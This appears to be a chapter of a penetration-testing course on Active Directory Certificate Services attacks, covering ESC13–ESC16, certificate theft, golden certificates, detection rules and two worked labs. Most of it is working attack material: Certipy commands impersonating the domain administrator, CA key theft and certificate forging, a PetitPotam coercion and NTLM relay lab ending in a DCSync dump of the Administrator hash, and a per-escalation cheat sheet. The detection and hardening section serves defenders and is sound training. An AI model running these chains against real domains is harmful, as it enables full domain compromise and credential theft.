Part 11: ESC13–ESC16, Certificate Theft, and Golden Certificates
Section titled “Part 11: ESC13–ESC16, Certificate Theft, and Golden Certificates”11.1 ESC13 — issuance policy linked to a group
Section titled “11.1 ESC13 — issuance policy linked to a group”If a certificate template has an issuance policy (application policy OID) that is linked to an AD group via msDS-OIDToGroupLink, then a certificate issued from that template causes the authenticated token to contain that group’s membership. Enroll from the template (a plain certipy req), authenticate, and your Kerberos token silently includes the linked (possibly privileged) group — no group membership change ever recorded on your account.
11.2 ESC14 — write access to altSecurityIdentities
Section titled “11.2 ESC14 — write access to altSecurityIdentities”altSecurityIdentities is the explicit certificate-mapping attribute. If you can write it on a victim, you add a mapping that says “this certificate = that account,” then authenticate with a certificate you control. It is the explicit-mapping cousin of ESC9/ESC10 and is remediated by treating write access to altSecurityIdentities as tier-0.
11.3 ESC15 — EKUwu (CVE-2024-49019)
Section titled “11.3 ESC15 — EKUwu (CVE-2024-49019)”ESC15 / EKUwu abuses version 1 certificate templates: an attacker can inject application policies (including Client Authentication or Certificate Request Agent) into the request even though the v1 template did not grant them, because v1 templates don’t constrain application policies the way v2+ do. Certipy exploits it with -application-policies:
certipy req -u analyst@corp.local -p 'Autumn2026!' -dc-ip 10.10.10.10 \ -ca corp-DC01-CA -template WebServer \ -upn administrator@corp.local \ -application-policies '1.3.6.1.5.5.7.3.2' # inject Client AuthenticationPatch: apply the November 2024 updates. Any v1 template that lets low-priv users enroll is suspect until patched.
11.4 ESC16 — security extension disabled CA-wide
Section titled “11.4 ESC16 — security extension disabled CA-wide”ESC16 is ESC9’s CA-scoped sibling: the CA is configured to never add the SID security extension to any certificate (the OID szOID_NTDS_CA_SECURITY_EXT is on the CA’s disable list). Every certificate the CA issues is then mappable by UPN alone, so the UPN-swap escalation works domain-wide regardless of template flags. Certipy 5 detects and helps exploit it much like ESC9.
11.5 Certificate theft — THEFT1–THEFT5
Section titled “11.5 Certificate theft — THEFT1–THEFT5”You don’t always need to mint a certificate; sometimes you steal one. The Certified Pre-Owned THEFT primitives:
| ID | What you steal / abuse | Tooling |
|---|---|---|
| THEFT1 | Export a user’s cert+key from their store (DPAPI-protected) | Mimikatz crypto::certificates /export, SharpDPAPI |
| THEFT2 | Steal machine certs from the local machine store | Mimikatz, certipy on-host equivalents |
| THEFT3 | Harvest certs from DPAPI master keys | SharpDPAPI, Mimikatz dpapi:: |
| THEFT4 | Find PFX/PEM files lying on disk/shares | find / -name '*.pfx', sharehunting |
| THEFT5 | PKINIT/UnPAC — turn a cert into the NT hash | certipy auth (built in) |
A stolen client-auth certificate is a ready-made credential — feed it to certipy auth and get the owner’s TGT and hash.
11.6 Golden certificates — forging with a stolen CA key
Section titled “11.6 Golden certificates — forging with a stolen CA key”If you compromise the CA (ESC7 to ManageCA, admin on the CA host, or certipy ca -backup), you can steal the CA’s private key and then forge certificates for any principal offline — no enrollment, no logging on the CA, valid until the CA cert itself expires. This is the AD CS equivalent of a Golden Ticket and a devastating persistence mechanism.
# 1) Back up the CA certificate + private key (needs CA admin / ManageCA + host access)certipy ca -u admin@corp.local -hashes :<hash> -dc-ip 10.10.10.10 \ -ca corp-DC01-CA -backup
# 2) Forge a certificate for ANY user, signed by the stolen CA keycertipy forge -ca-pfx corp-DC01-CA.pfx \ -upn administrator@corp.local -subject 'CN=Administrator,CN=Users,DC=corp,DC=local'
# 3) Use it like any other certcertipy auth -pfx administrator_forged.pfx -dc-ip 10.10.10.10certipy forge -ca-pfx— sign a brand-new cert with the CA’s own key; because it chains to the trusted CA it is accepted by every DC.- Remediation is brutal: a stolen CA key means the CA must be revoked and rebuilt — you cannot simply rotate a password. This is why CA host security is tier-0.
Part 12: Putting It Together — Choosing the Right Chain
Section titled “Part 12: Putting It Together — Choosing the Right Chain”Faced with a real environment, you don’t try all sixteen ESCs blindly. certipy find -vulnerable sorts you, and this decision tree picks the shortest path:
flowchart TD
S[certipy find -vulnerable] --> Q1{Template lets<br/>enrollee set SAN?}
Q1 -->|Yes, client-auth EKU| ESC1[ESC1: req -upn admin]
Q1 -->|No| Q2{CA has User<br/>Specified SAN?}
Q2 -->|Yes| ESC6[ESC6: req -upn on any template]
Q2 -->|No| Q3{Web enrollment<br/>+ can coerce?}
Q3 -->|Yes| ESC8[ESC8: relay + PetitPotam]
Q3 -->|No| Q4{Have ManageCA /<br/>ManageCertificates?}
Q4 -->|Yes| ESC7[ESC7: officer + issue]
Q4 -->|No| Q5{Write over a<br/>template ACL?}
Q5 -->|Yes| ESC4[ESC4: rewrite to ESC1]
Q5 -->|No| Q6{Enrollment Agent<br/>template?}
Q6 -->|Yes| ESC3[ESC3: on-behalf-of]
Q6 -->|No| Q7{Write UPN on a victim<br/>+ weak mapping?}
Q7 -->|Yes| ESC9[ESC9/ESC10: UPN swap]
Q7 -->|No| REVIEW[Report exposure;<br/>revisit with more access]
Practical operator notes:
- On a fresh, patched estate, ESC8 (relay) and ESC7 (CA rights) are the least dependent on template hygiene — start there if you have network position or delegated CA rights.
- With just a domain user,
certipy find -vulnerableimmediately reveals ESC1/2/3/6 template problems; those are the cleanest single-command wins. - If the DC is patched (strong binding), prefer chains that don’t rely on SAN spoofing: ESC8 (real DC$ auth), ESC7 (real issuance), ESC3 (real on-behalf), Shadow Credentials — or explicitly exploit ESC9/ESC10/ESC16 which target the mapping itself.
- Always record the
Request IDfor every certificate you enroll; blue teams will ask, and you may need to reference or (ethically) let them revoke it.
Part 13: Detection & Defense Angle
Section titled “Part 13: Detection & Defense Angle”This is the one consolidated defensive section (matching the reference chapters’ single “Detection & Defense” part). AD CS attacks are quiet but not invisible — enrollment is logged, and the misconfigurations are enumerable before they’re abused.
13.1 Prevent — fix the templates and the CA
Section titled “13.1 Prevent — fix the templates and the CA”| Control | Kills | How |
|---|---|---|
Remove ENROLLEE_SUPPLIES_SUBJECT from client-auth templates | ESC1 | Template → Subject Name → “Build from AD” |
| Restrict enrollment rights to specific groups (not Domain Users/Authenticated Users) | ESC1/2/3/6/13/15 | Template Security tab |
| Require manager approval on sensitive templates | ESC1/6 | CT_FLAG_PEND_ALL_REQUESTS |
| Remove Any-Purpose / SubCA / Enrollment-Agent EKUs where unneeded | ESC2/ESC3 | Template EKU list |
Clear EDITF_ATTRIBUTESUBJECTALTNAME2 on the CA | ESC6 | certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2 + restart certsvc |
| Tighten CA ACLs (ManageCA/ManageCertificates to tier-0 only) | ESC7 | CA → Properties → Security |
| Disable HTTP web enrollment; enforce HTTPS + EPA + channel binding | ESC8/ESC11 | IIS Extended Protection = Required; require SMB/LDAP signing |
Apply KB5014754 and set StrongCertificateBindingEnforcement = 2 | ESC6/ESC9/ESC10/ESC16 | KDC registry, full-enforcement mode |
| Patch Nov 2024 (CVE-2024-49019) | ESC15 | Windows Update; audit v1 templates |
Treat altSecurityIdentities / msDS-KeyCredentialLink write as tier-0 | ESC14 / Shadow Creds | ACL review |
| Protect the CA host and key (HSM, tier-0, no interactive logons) | Golden cert / forge | CA hardening |
The single highest-leverage move: run certipy find -vulnerable (or Locksmith / PSPKIAudit / the ADCSTemplate tooling) as an audit, and remediate every flagged item. You cannot be surprised by an ESC you already fixed.
13.2 Detect — the event IDs that matter
Section titled “13.2 Detect — the event IDs that matter”Certificate operations are logged on the CA (enable “Issued/Failed/Denied” auditing via certutil -setreg CA\AuditFilter 127 and the CA’s audit policy) and on DCs for cert-based logon:
| Event ID | Source | Meaning / hunt |
|---|---|---|
| 4886 | CA | Certificate requested — baseline of enrollment activity |
| 4887 | CA | Certificate issued/approved — correlate requester vs. SAN (mismatch = ESC1/6) |
| 4888 | CA | Certificate request denied |
| 4898 | CA | Certificate template loaded (template change tracking → ESC4) |
| 4768 | DC | Kerberos TGT requested — with Certificate Information fields = PKINIT logon |
| 4624 | DC/host | Logon; type + cert info reveals cert-based logons from odd sources (ESC8) |
| 5145 | relay target | Detailed file share access — pairs with relay/coercion (see Chapter 10) |
| 4662 | DC | Object access — writes to template objects, altSecurityIdentities, msDS-KeyCredentialLink |
Highest-value correlation: on 4887, compare the Requester account to the Subject/SAN of the issued certificate. A request by svc_web that yields a certificate for administrator is ESC1/ESC6/ESC9 in one line. Likewise, a machine account (e.g. DC01$) enrolling for a certificate at an odd time from an odd host is the ESC8 signature.
13.3 Hunt — Sigma-style logic
Section titled “13.3 Hunt — Sigma-style logic”title: AD CS - Certificate Issued With Mismatched Requester and Subject (ESC1/6)logsource: product: windows service: securitydetection: selection: EventID: 4887 condition: selection # Alert when the SAN UPN != Requester account (post-process/correlate)level: hightitle: AD CS - Enrollment Agent or Machine Account Enrolling Unusually (ESC3/ESC8)logsource: { product: windows, service: security }detection: selection: EventID: 4886 # Requester is a computer account (ends with $) or uses Certificate Request Agent EKU condition: selectionlevel: mediumAdditional detections: monitor writes to CN=Certificate Templates objects (4662) for ESC4; alert on EDITF_ATTRIBUTESUBJECTALTNAME2 being enabled; deploy certificate-mapping honeypots and watch for PKINIT (4768 with certificate info) tied to accounts that should never authenticate by certificate. IR use case: after any suspected AD CS compromise, enumerate all recently issued certificates (certutil -view) and revoke suspicious ones — and if the CA key may be stolen, plan CA rebuild, because forged (golden) certificates cannot be revoked individually with confidence.
Part 14: Fully Worked Lab — Coerce a DC into Domain Admin via ESC8
Section titled “Part 14: Fully Worked Lab — Coerce a DC into Domain Admin via ESC8”This lab chains coercion (Chapter 10) into AD CS relay (ESC8) end to end. Scope: a lab you own. Do not run coercion or relay against any network without written authorisation.
14.1 Lab topology
Section titled “14.1 Lab topology”graph LR
K[Kali attacker<br/>10.10.10.66] ---|LDAP/RPC/relay| DC[DC01<br/>corp.local<br/>10.10.10.10]
K ---|relay target| CA[CA01<br/>AD CS + certsrv<br/>10.10.10.20]
DC ---|coerced auth| K
- DC01 — Windows Server DC,
corp.local, patched but with default web enrollment left on. - CA01 — Enterprise CA with HTTP web enrollment enabled and no EPA (the ESC8 condition).
- Kali — Certipy + Impacket + PetitPotam.
- Starting credentials: one low-privileged domain user,
analyst:Autumn2026!.
14.2 Step 1 — Confirm the surface
Section titled “14.2 Step 1 — Confirm the surface”certipy find -u analyst@corp.local -p 'Autumn2026!' -dc-ip 10.10.10.10 -stdout -enabled | \ grep -A3 -iE 'Web Enrollment|ESC8|CA Name' CA Name : corp-CA01-CA Web Enrollment (HTTP): Enabled [!] Vulnerabilities ESC8 : Web Enrollment is enabled and does not enforce channel bindingWeb enrollment is on → ESC8 is live.
14.3 Step 2 — Start the relay
Section titled “14.3 Step 2 — Start the relay”certipy relay -target 'http://ca01.corp.local' -template DomainControllerCertipy v5.0.2 - by Oliver Lyak (ly4k)[*] Targeting http://ca01.corp.local (ESC8)[*] Listening on 0.0.0.0:445, 0.0.0.0:80[*] Waiting for incoming connections...14.4 Step 3 — Coerce DC01
Section titled “14.4 Step 3 — Coerce DC01”In a second terminal, force DC01 to authenticate to Kali (10.10.10.66):
python3 PetitPotam.py -u analyst -p 'Autumn2026!' -d corp.local 10.10.10.66 10.10.10.10[*] Connecting to ncacn_np:10.10.10.10[\PIPE\lsarpc][*] Attempting to coerce authentication via EfsRpcOpenFileRaw()[+] Server returned ERROR_BAD_NETPATH -- coercion succeededBack in the relay terminal:
[*] Received connection from 10.10.10.10 (CORP\DC01$)[*] Authenticating against http://ca01.corp.local as CORP\DC01$[*] Requesting certificate for 'CORP\DC01$' via template 'DomainController'[*] Got certificate with DNS SAN 'dc01.corp.local'[*] Saved certificate and private key to 'dc01.pfx'14.5 Step 4 — Turn the DC certificate into domain compromise
Section titled “14.5 Step 4 — Turn the DC certificate into domain compromise”certipy auth -pfx dc01.pfx -dc-ip 10.10.10.10[*] Using principal: dc01$@corp.local[*] Got TGT[*] Saved credential cache to 'dc01.ccache'[*] Got hash for 'dc01$@corp.local': aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949bexport KRB5CCNAME=dc01.ccachesecretsdump.py -k -no-pass corp.local/'DC01$'@dc01.corp.local -just-dc-user administrator[*] Using the DRSUAPI method to get NTDS.DIT secretsadministrator:500:aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99:::[*] Kerberos keys grabbedA DC machine account performing DCSync → you now hold the Administrator hash and the domain. What made it work: nothing but web enrollment accepting relayable NTLM. No template was misconfigured.
14.6 Step 5 — Clean up and document
Section titled “14.6 Step 5 — Clean up and document”Note the certificate Request ID from the CA (visible in certutil -view on CA01), report it for revocation, and record the exact coercion + relay commands in the engagement log.
Part 15: Second Worked Lab — ESC1 From a Single Domain User
Section titled “Part 15: Second Worked Lab — ESC1 From a Single Domain User”A shorter drill proving the template path, using only analyst:Autumn2026!.
# 1) Enumerate — is any template ESC1?certipy find -u analyst@corp.local -p 'Autumn2026!' -dc-ip 10.10.10.10 -vulnerable -stdout# -> ESC1-VulnUser flagged ESC1 (Domain Users can enroll, enrollee supplies subject)
# 2) Grab the target's SID (needed for strong-mapping-friendly requests)certipy find -u analyst@corp.local -p 'Autumn2026!' -dc-ip 10.10.10.10 -stdout | grep -i sid# or: nxc ldap 10.10.10.10 -u analyst -p 'Autumn2026!' --query ... / Get-ADUser administrator
# 3) Request a cert AS administratorcertipy req -u analyst@corp.local -p 'Autumn2026!' -dc-ip 10.10.10.10 \ -ca corp-DC01-CA -template ESC1-VulnUser \ -upn administrator@corp.local -sid S-1-5-21-1899-1004-2019-500# -> administrator.pfx
# 4) PKINIT + UnPAC the hashcertipy auth -pfx administrator.pfx -dc-ip 10.10.10.10# -> administrator.ccache + NT hash
# 5) Use itexport KRB5CCNAME=administrator.ccachesecretsdump.py -k -no-pass corp.local/administrator@dc01.corp.localIf step 4 returns KDC_ERR_CLIENT_NAME_MISMATCH, the DC is enforcing strong binding and the SAN alone isn’t trusted — pivot to ESC9/ESC10 (UPN swap) or a chain that produces a real identity (ESC8/ESC7). This single failure mode is the practical dividing line between pre- and post-KB5014754 estates.
Part 16: Final Revision / Summary
Section titled “Part 16: Final Revision / Summary”- A certificate is a durable identity. It binds a key to a UPN/DNS name for a set of EKUs, signed by a CA in the NTAuth store. Client-auth certs log users on via PKINIT (→ TGT + NT hash) or Schannel. They outlive password resets — that’s what makes AD CS both useful and dangerous.
- Certificate mapping is the linchpin. Pre-KB5014754, the DC trusted the SAN’s UPN — so naming yourself
administrator(ESC1) worked. KB5014754 embeds the requester SID (szOID_NTDS_CA_SECURITY_EXT) and addsStrongCertificateBindingEnforcement. ESC9 (no-SID-extension template), ESC10 (weak DC binding), ESC16 (CA never adds the extension) each defeat that in a different place. - The ESC families: template misconfig (ESC1 enrollee SAN, ESC2 Any-Purpose/SubCA, ESC3 Enrollment Agent, ESC9 no-sec-ext, ESC13 OID-to-group, ESC15 EKUwu); ACL abuse (ESC4 template, ESC5 PKI object, ESC7 CA rights); CA config (ESC6 EDITF SAN2, ESC16 sec-ext off); relay (ESC8 web enrollment, ESC11 ICertPassage RPC); mapping (ESC10 DC binding, ESC14 altSecurityIdentities).
- Certipy is the workflow:
find(enumerate + flag),req(enroll,-upn/-on-behalf-of/-application-policies),auth(PKINIT → TGT + hash),relay(ESC8/11),ca(ESC6/ESC7 + backup),template(ESC4),account(UPN swap for ESC9/10),shadow(Key Trust),forge(golden cert from stolen CA key). - ESC8 needs no template bug — just relayable web enrollment + coercion. It’s the highest-impact, lowest-prerequisite path and the direct sequel to Chapter 10.
- Defence is enumerable: run
certipy find -vulnerableas an audit, fix every flag, apply KB5014754 + strong binding + Nov-2024 patch, kill HTTP web enrollment / enforce EPA, and lock CA and template ACLs to tier-0. Detect with CA events 4886/4887/4888/4898 (correlate requester vs SAN) and DC PKINIT logons (4768 with certificate info). - A stolen CA key = rebuild the CA. Forged golden certificates can’t be reliably revoked; CA host and key are tier-0.
Memory hook: “Find, Request, Auth.” Almost every non-relay ESC is certipy find → certipy req (with the twist for that ESC) → certipy auth. The twist is the whole exam: whose SAN, whose UPN, which flag, which EKU.
Part 17: Cheat Sheet / Quick Reference
Section titled “Part 17: Cheat Sheet / Quick Reference”Enumerate
certipy find -u USER@dom -p PASS -dc-ip DC -stdout -vulnerable # flag ESCscertipy find -u USER@dom -p PASS -dc-ip DC -stdout -enabled # published templatescertipy find -u USER@dom -p PASS -dc-ip DC -bloodhound # graph exportESC1 / ESC6 (enrollee or CA-wide SAN)
certipy req -u USER@dom -p PASS -ca CA -template TPL -upn administrator@dom -sid S-1-5-...-500certipy auth -pfx administrator.pfx -dc-ip DCESC3 (enrollment agent)
certipy req ... -template EnrollAgentTPL # get agent certcertipy req ... -template User -pfx agent.pfx -on-behalf-of 'DOM\administrator'ESC4 (template ACL)
certipy template ... -template TPL -save-configuration old.json -write-default-configuration# exploit as ESC1, then:certipy template ... -template TPL -configuration old.json # restoreESC7 (CA rights)
certipy ca ... -ca CA -add-officer USERcertipy ca ... -ca CA -enable-template SubCAcertipy req ... -template SubCA -upn administrator@dom # -> pending IDcertipy ca ... -ca CA -issue-request IDcertipy req ... -ca CA -retrieve IDESC8 / ESC11 (relay)
certipy relay -target 'http://CA' -template DomainController # ESC8 (HTTP)certipy relay -target 'rpc://CA' -template DomainController # ESC11 (RPC)# then coerce: PetitPotam.py / printerbug.py / coercercertipy auth -pfx dc01.pfx -dc-ip DCESC9 / ESC10 (UPN swap)
certipy account update -u USER -p PASS -user svc -upn administrator@domcertipy req -u svc -hashes :HASH -ca CA -template ESC9TPL # or any client-auth TPL for ESC10certipy account update -u USER -p PASS -user svc -upn svc@dom # restorecertipy auth -pfx administrator.pfx -dc-ip DCESC15 (EKUwu)
certipy req ... -template V1Template -upn administrator@dom -application-policies '1.3.6.1.5.5.7.3.2'Shadow Credentials / forge / theft
certipy shadow auto -u USER -p PASS -account victim -dc-ip DC # Key Trust takeovercertipy ca ... -ca CA -backup # steal CA keycertipy forge -ca-pfx CA.pfx -upn administrator@dom # golden certcertipy auth -pfx stolen_or_forged.pfx -dc-ip DC # PKINIT + UnPAC hashKey EKUs / OIDs
| Name | OID |
|---|---|
| Client Authentication | 1.3.6.1.5.5.7.3.2 |
| Smart Card Logon | 1.3.6.1.4.1.311.20.2.2 |
| PKINIT Client Authentication | 1.3.6.1.5.2.3.4 |
| Certificate Request Agent | 1.3.6.1.4.1.311.20.2.1 |
| Any Purpose | 2.5.29.37.0 |
SID security extension (szOID_NTDS_CA_SECURITY_EXT) | 1.3.6.1.4.1.311.25.2 |
Defender quick hits
certutil -getreg policy\EditFlags # look for EDITF_ATTRIBUTESUBJECTALTNAME2certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2 # clear it (then restart certsvc)certutil -setreg CA\AuditFilter 127 # enable full CA auditingcertutil -view # review issued certs (IR)reg query "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" /v StrongCertificateBindingEnforcementPart 18: Common Pitfalls
Section titled “Part 18: Common Pitfalls”authreturnsKDC_ERR_PADATA_TYPE_NOSUPP→ the KDC has no DC certificate / PKINIT unsupported. Use the cert over Schannel (certipy auth -pfx x.pfx -ldap-shell) instead.KDC_ERR_CLIENT_NAME_MISMATCH→ strong binding is enforced; supply-sid, or pivot to ESC9/ESC10/ESC16.findshows nothing vulnerable but a CA exists → re-run without-vulnerable; the misconfig may be an ACL (ESC4/ESC7) or a CA flag Certipy needs different rights to read. Also try-enabledto see what’s actually published.- LDAP bind fails on hardened DCs → add
-ldap-channel-bindingand/or-scheme ldaps. - Relay gets the connection but issuance fails → the coerced account may lack enroll rights on the chosen
-template; for a DC useDomainController, for a server useMachine/Computer. - Clock skew breaks Kerberos/PKINIT →
sudo ntpdate DCorfaketimeto the DC’s time. - Left a template weaponised (ESC4) → always
-save-configurationfirst and restore; document it.
Part 19: Practice Labs & Resources
Section titled “Part 19: Practice Labs & Resources”Train each primitive on purpose-built targets:
- TryHackMe — “AD Certificate Templates” and the “Exploiting AD” rooms: guided ESC1/ESC8 with Certipy.
- HackTheBox — “Certified” (ESC9/shadow-credentials-flavoured chain), “Escape” (ESC1 via a readable template), “Authority” (ESC1 + PWM), “Sizzle” and “Manager” (AD CS + relay elements). HTB Pro Labs “Zephyr”/“Dante”-style AD chains include AD CS steps.
- SpecterOps Certified Pre-Owned whitepaper — the canonical source for ESC1–ESC8 and THEFT1–5; read it alongside this chapter.
- Certipy wiki (ly4k/Certipy) — authoritative, per-ESC command reference kept current with ESC13–ESC16.
- GOAD (Game of Active Directory) by Orange Cyberdefense — self-hosted vulnerable AD lab; deploy an AD CS role and reproduce ESC1/ESC4/ESC8 safely end to end.
- Locksmith / PSPKIAudit / ADCSTemplate — blue-team side: run them against your GOAD lab and confirm each fix removes the corresponding Certipy finding.
- Practise the detection half: enable CA auditing (
AuditFilter 127), run each attack, and hunt the resulting 4886/4887 events — mapping attack to log is the skill that makes you dangerous on both sides.
Build the lab, run every command above until find → req → auth is muscle memory, then flip to the CA console and watch the events you generate. Understanding AD CS from both ends is what turns “I ran Certipy” into “I understand exactly why this certificate is a domain-admin key, and exactly how to take it away.”
Discussion
Questions, corrections, or something to add? Comment with your GitHub account.